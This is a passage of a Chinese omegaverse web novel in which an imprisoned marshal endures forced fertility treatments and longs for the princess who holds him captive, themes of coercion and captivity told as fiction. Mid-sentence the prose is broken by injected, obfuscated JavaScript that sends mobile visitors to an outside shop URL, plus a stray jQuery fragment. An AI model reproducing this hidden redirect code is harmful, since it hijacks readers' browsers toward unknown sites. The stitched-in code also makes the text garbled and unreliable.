当然,卫瓷的情绪与想法没有任何作用,也不能影响艾妲分毫。他压下胸口翻涌的酸涩感,继续保持缄默,以免自取其辱。
短暂而难得的外出之后,元帅回到了他的囚笼,艾妲稍微放宽了他的行动限制,允许他到一楼和院子里活动。
唯一能经常见到的访客依旧只有那位Beta医生,她为卫瓷注射利于生殖腔发育完全的针剂,一周一次。15cm的穿刺针扎入腺体,接下来医生一边将内检仪器探入,一边观察超声成像,卫瓷能看到自己体内萎缩的孕囊因药物刺激重新缓慢地发育,渐渐地,那里似乎也足以容纳一个新生命了。
“看来已经可以禀告殿下了。”医生的兴奋溢于言表,即使布满了不太好看的缝补痕迹,卫瓷现在也勉强可以当作一个正常的Omega来使用了,她总算是不负殿下所托,“这真是个好消息。”
卫瓷躺在床上,面色呈现出一种失血过多的苍白,腺体处传来一阵阵的酸胀感,他有些恍惚地想着,好消息吗?他终于不再是一个功能残缺的Omega,这是艾妲手术后所期望的,但此刻她仍需要他来诞育子嗣么?
自铜绿大礼堂的那场演讲后,不,应该说是自艾妲救下尤金·莱珀后,她一次也没有来过元帅府。
她像是忘了,还有一个男人被她囚禁在此。
-
寰宇大剧院的机械失控事故被大肆报道,因为受害者与施救者的特殊身份,强烈的紧张感与戏剧性,这起事件在各方有意无意的推波助澜下,取得了空前的热度,甚至压过了亚伦·佩洛涅特殿下的订婚消息。
无法叨扰尊贵的艾妲殿下,媒体们便追着相关方刨根问底,剧院负责人在采访中声情并茂、涕泪俱下地对艾妲表达感激之情,“若没有这一位英勇又高洁的殿下,鄙人该如何赎罪呢?”
在铺天盖地的消息轰炸中,民众们纷纷忘却了对于艾妲曾经Omega身份的质疑,毕竟她已展现出属于Alpha的强大可靠,轻而易举地制服二十四具陷入狂暴的机械异构体,这或许是只有帝国元帅才能做到的事。
这位殿下越发繁忙起来,她顺理成章地参与进剧院的重修工作,在执政官大人的默许下,支配玫瑰堡宫下拨的所有款项。
而她出现的公开场合,总能见到绘着莱珀家族家徽的飞行艇在不远处停泊,尤金情窦初开,丝毫没有掩饰的矜持,每回直播镜头切到这位出身巨贾之家的小少爷,他便露出一个羞涩而甜蜜的笑容。
逐渐有年轻的观众发现端倪,若说尤金·莱珀关注政事,他只捧艾妲殿下的场,甚至殿下在某地演讲,莱珀家为她专门定制了价值四千万新币的横贯全场的转播光幕。他心思澄澈,耳聪目明的旁观者一睹便知。
有些人恍然道,“我就说!莱珀家的小少爷怎么突然抛头露面的,原来是情根深种。以他的家世背景,倒也可以匹配得上皇室。”
有些人嗤之以鼻,“这么快坠入爱河,是吊桥效应的作用吧,到底只是个孩子,这么不计后果。”
还有少部分人则疑惑着,“艾妲殿下身上还有着婚约的吧?虽说她二度分化了……但没有要取消婚约的消息。”
“毕竟这得双方共同商量着来,另一边可是帝国元帅。说到元帅,他还在养伤吗?似乎好久没见到元帅公开露面了。”
“不知道……真奇怪啊,军方一点消息也没有。”
……
元帅府。一楼。
巨幅的光幕播放着一出古典戏剧,卫瓷半躺在长沙发上,夜雨不停,他盖了一条柔软的白色毛毯,过去元帅从不畏冷,换腺之后却受不了外面漫进来的寒意。
披散下来的长发遮盖住了后颈,那一处布满可怖的针孔,痂已经落完,留下一道深红的印记,轻轻按压仍会感到一阵烧灼似的痛。
卫瓷伸手碰了碰自己的脸颊,指尖传来热意,不止这里,他感觉自己的身体也在发烫。
他已经不是残缺的Omega,根据血液化验结果,信息素水平趋向稳定,他开始正常地分泌信息素,同样也开始渴求Alpha的气味。
或许因为艾妲在术后恶劣地向他释放过大量信息素,以粗暴直接的方式来掌控支配Omega,卫瓷缺乏信息素抚慰的症状比想象中更严重些。他低声喘息着,头脑昏沉,身体软绵无力,空荡荡的偌大府邸连一丝花香的残留都没有了,他的干渴得不到任何缓解。
卫瓷不记得艾妲已经有多久没踏入过元帅府,他只能被动等待,独自忍受痛苦。
艾妲也没有留下任何一件沾染气味的衣物。元帅忍着巨大的羞耻心在房间中翻找,他的手颤抖得厉害,如果是一件衬裙……难道他要不知廉耻地亵渎心上人吗?
真是无耻、下作。
内心煎熬的卫瓷强撑着身子,翻遍了二楼的每一个房间,最终一无所获。别说一件衬裙,一件马甲,连一条丝巾都没有。
他压下心口的涩意,这里于艾妲又算什么地方呢?她辖下的一座囚狱,用来与幕僚会面的隐蔽场所,匆匆来去,又怎么会留下衣物。
卫瓷将毛毯拉上了些,身体热烫,他却觉得骨子里发冷。元帅又一次切身体会到Omega是多么脆弱的一种生物,他甚至无法自救,只能等待Alpha的垂怜。
光幕中播放的戏剧已到了尾声,卫瓷想换去其他的频道,但艾妲在电视节目露面的频繁程度,又让他犹疑了。
他其实渴望看到那张秀美的脸庞,无法看到真人,那么隔着光幕看也能让他稍微好受些。
只是还会出现其他人,元帅闭了闭眼,尤金·莱珀像一个阴魂不散的幽灵,自以为是地追逐着艾妲,出现在每一场公开活动中,而导播自然会青睐他这样大家族出身的名人,故而元帅猝不及防地在光幕中瞧见过好几次那个羞涩的少年。
年轻貌美
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055563|149188||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的Omega,一双水汪汪的杏眼因饱含情愫格外妩媚动人,或许元帅身为Alpha时能够不为所动,但大部分的Alpha都会为此心软吧。
艾妲也……至少她允许了尤金高调的示爱。
卫瓷发出苦闷的笑声,他年长尤金许多,竟然会不堪到这种地步,因为一个孩子生出扭曲的情绪。
他用双手捂住脸,感觉曾经支撑自尊的一切都在碎裂,从换腺手术开始,他完全被击碎了,再也无法粘合回去。
戏剧谢幕,扰人的雨声愈加明显。因云层厚度的原因,首都星的雨天并不常见,元帅已分不清是天气让他烦闷,还是他的心本就在落雨,他的手不自觉攥紧,光幕变幻,切换到了新闻节目,一道机械女声播报着:正在为您转播的是艾妲·佩洛涅特殿下关于寰宇大剧院重修工作的方案说明——
穿着盛装的艾妲站在台上,那份摄人的美貌经数次信号传输没有折损分毫,她的声音清冽似泉水,卫瓷已经无法辨别她讲话的内容,他将身子蜷缩起来,房间里回荡着抑制不住的低喘声。
好难受……腺体烧灼似得疼,艾妲曾伏在他的颈边,寻找哪一处皮肤便于下口,当时只有无尽的恐惧,再回忆起这一场景,深处竟生出一丝隐秘的渴望。
恍惚间,艾妲耳边坠着的红宝石,化作一团燃烧的火焰,将他彻底吞没。
卫瓷眼前朦胧一片,艾妲的身影也变得模糊,她向着台下伸出手,似在邀请什么人,元帅的呼吸渐轻,他惨白着一张脸,看到尤金带着赧然和紧张,脚步雀跃地奔向艾妲。
元帅看不见自己的脸上是何种表情,他用最后一丝力气关闭了光幕,颓然地倒下来。
如果……如果艾妲遇见了她真正心仪的Omega,将要与她的未来伴侣组建家庭,那么诞育子嗣,做一个合格的Omega乃至妻子都与卫瓷毫无关系了,这不是他应承担的责任。
他对艾妲毫无用处,不必再留在她身边。
这难道不是他最初祈求的结果吗?他哀求艾妲放他离开,他想见见自己的家人,被她锁缚在身边,只觉痛苦漫长得没有尽头。
这个愿望似乎要达成了。
卫瓷紧紧抱住自己,觉得心空得厉害,有什么液体从中汩汩流出。他疲惫至极,昏沉沉地睡去,梦中是帝国尚未征服的荒星,他缓步走下星舰,倏忽间却被拽入一片浓稠如墨的阴影中,回头再看不到任何人影,只有无尽的黑暗。
他如陷入流沙,不断向下坠落,直到被一道声音惊醒。
不是淅沥的雨声,是鞋跟敲击地面,发出的清脆声响。
卫瓷惊惶地抬起脸,他狼狈地缩在毛毯里,墨黑长发凌乱披散在肩头,苍白的脸颊上挂着未干的泪痕。
艾妲站在他面前,向下投来冷淡的一瞥,她刚结束忙碌的行程,却不见疲倦,声音如玉石相撞般清冽动听,“你的生殖腔发育完全了?”